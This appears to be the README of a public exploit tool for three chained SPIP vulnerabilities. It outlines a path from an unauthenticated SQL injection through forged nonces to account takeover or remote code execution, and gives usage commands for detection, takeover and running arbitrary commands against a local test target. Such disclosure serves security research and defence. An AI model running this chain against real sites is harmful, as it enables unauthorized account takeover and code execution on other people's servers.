Casse-Spip (CVE-2026-72708, CVE-2026-72709, CVE-2026-72710)

From an Unauthenticated SQL Injection to Remote Code Execution

Exploit for CVE-2026-72708, CVE-2026-72709 and CVE-2026-72710 discovered by Franck Chevalier (Wayko)

For a complete technical deep dive, read the full article on Lexfo's blog.

Disclaimer

This repository is provided for research and defensive security purposes only. The author assumes no responsibility for misuse of this information.

---

Overview

The entry point is a SQL injection in the public sitemap.xml page to leak alea_ephemere.

With that secret, valid nonces can be forged for anonymous actions.

Two actions lead to RCE from there:

• action=editer_auteur account takeover, then RCE from the private area.
• action=editer_objet mass assignment, to write a row in the spip_jobs queue, then execute it through action=cron.

---

Exploitation

Setup

python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 casse-spip.py --help

Detect

.venv/bin/python3 casse-spip.py -t http://127.0.0.1:8000

Full chain 1 : Account Takeover (CVE-2026-72708 > CVE-2026-72709)

.venv/bin/python3 casse-spip.py -t http://127.0.0.1:8000 --ato -i 1 -p "Casse-Spip!2026"

Before overwriting, --ato dumps the target's login and current pass hash (via the SQLi) so you can put it back afterwards with --restore-hash:

.venv/bin/python3 casse-spip.py -t http://127.0.0.1:8000 --restore-hash '$2y$12$...' -i 1

Full chain 2 : RCE (CVE-2026-72708 > CVE-2026-72709 > CVE-2026-72710)

.venv/bin/python3 casse-spip.py -t http://127.0.0.1:8000 --exploit -c "id"

The file will be written to IMG/casse-spip_<token>.html.

---

References

• Blog post - Technical deep dive
• Vulncheck - Vulnerability Details
• CVE-2026-72708
• CVE-2026-72709
• CVE-2026-72710